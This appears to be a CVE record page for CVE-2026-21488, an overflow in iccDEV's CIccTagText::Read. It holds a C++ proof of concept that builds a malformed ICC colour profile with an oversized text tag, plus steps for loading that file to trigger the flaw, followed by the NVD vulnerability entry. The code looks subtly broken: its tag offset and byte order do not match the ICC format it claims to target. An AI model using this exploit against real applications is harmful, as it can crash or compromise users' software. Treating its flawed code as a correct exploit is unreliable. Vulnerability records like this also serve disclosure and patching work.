CVE-2026-21488

// PoC for CVE-2026-21488: iccDEV CIccTagText::Read Buffer Overflow // This PoC creates a malicious ICC profile with oversized text in CIccTagText #include <cstdio> #include <cstdlib> #include <cstring> #include <vector> #pragma pack(push, 1) struct ICCProfileHeader { char signature[4]; // 'acsp' unsigned int version; char profile_class[4]; char color_space[4]; char pcs[4]; unsigned int creation_time; char platform[4]; unsigned int flags; char device_manufacturer[4]; unsigned int device_model; unsigned int device_attributes[2]; unsigned int rendering_intent; unsigned int pcs_illuminant[3]; char creator[4]; unsigned char reserved[44]; }; struct ICCTagTableEntry { unsigned int signature; unsigned int offset; unsigned int size; }; struct ICCTagTextHeader { char signature[4]; // 'desc' or 'mlat' unsigned int reserved; unsigned int count; // Number of characters // Followed by text data }; #pragma pack(pop) // Malicious text data that exceeds expected buffer size std::vector<unsigned char> createMaliciousTagText() { std::vector<unsigned char> tag; ICCTagTextHeader header; memcpy(header.signature, "desc", 4); header.reserved = 0; // Intentionally set count to a value that causes buffer overflow // This exceeds the allocated buffer in CIccTagText::Read header.count = 0x10000; // 65536 characters - overflow condition tag.insert(tag.end(), (unsigned char*)&header, (unsigned char*)&header + sizeof(ICCTagTextHeader)); // Add oversized text data for (unsigned int i = 0; i < 0x10000; i++) { tag.push_back('A'); // Fill with 'A' characters } return tag; } void createMaliciousICCProfile(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) { printf("Failed to create file: %s\n", filename); return; } // Create header ICCProfileHeader header = {}; memcpy(header.signature, "acsp", 4); header.version = 0x04000000; // Version 4.0 memcpy(header.profile_class, "mntr", 4); // Monitor profile memcpy(header.color_space, "RGB ", 4); memcpy(header.pcs, "Lab ", 4); header.creation_time = 0; memcpy(header.platform, "MSFT", 4); header.flags = 0; memcpy(header.device_manufacturer, "TEST", 4); header.device_model = 0; header.rendering_intent = 0; header.pcs_illuminant[0] = 0x0000C760; header.pcs_illuminant[1] = 0x0000B535; header.pcs_illuminant[2] = 0x0000D6D6; memcpy(header.creator, "TEST", 4); fwrite(&header, sizeof(header), 1, fp); // Create malicious CIccTagText std::vector<unsigned char> maliciousTag = createMaliciousTagText(); // Write tag table ICCTagTableEntry tagEntry; tagEntry.signature = 0x64657363; // 'desc' tagEntry.offset = sizeof(ICCProfileHeader) + sizeof(unsigned int); // Skip tag count tagEntry.size = maliciousTag.size(); unsigned int tagCount = 1; fwrite(&tagCount, sizeof(unsigned int), 1, fp); fwrite(&tagEntry, sizeof(tagEntry), 1, fp); // Write malicious tag data fwrite(maliciousTag.data(), maliciousTag.size(), 1, fp); fclose(fp); printf("Malicious ICC profile created: %s\n", filename); printf("Tag size: %u bytes (intentionally oversized)\n", maliciousTag.size()); } int main() { printf("CVE-2026-21488 PoC - iccDEV CIccTagText::Read Overflow\n"); printf("====================================================\n\n"); createMaliciousICCProfile("malicious_profile.icc"); printf("\nTo trigger the vulnerability:\n"); printf("1. Use an application that uses iccDEV library\n"); printf("2. Load the malicious ICC profile: malicious_profile.icc\n"); printf("3. The CIccTagText::Read function will attempt to read\n"); printf(" %d bytes into a smaller buffer, causing overflow\n", 0x10000); return 0; }

{"cve": {"id": "CVE-2026-21488", "sourceIdentifier": "[email protected]", "published": "2026-01-06T14:15:48.420", "lastModified": "2026-01-14T18:45:51.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools for working with ICC color management profiles. Versions 2.3.1.1 and below are vulnerable to Out-of-bounds Read, Heap-based Buffer Overflow and Improper Null Termination through its CIccTagText::Read function. This issue is fixed in version 2.3.1.2."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas para trabajar con perfiles de gestión de color ICC. Las versiones 2.3.1.1 e inferiores son vulnerables a lectura fuera de límites, desbordamiento de búfer basado en montículo y terminación nula incorrecta a través de su función CIccTagText::Read. Este problema se corrige en la versión 2.3.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}, {"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-170"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.2", "matchCriteriaId": "D34CF745-E75A-4F1C-AD7B-9AC1A2E9F680"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/commit/9daaccceb231c43db8cab312ee5bbe9d2aa6b153", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-4j2g-rvv4-86vg", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}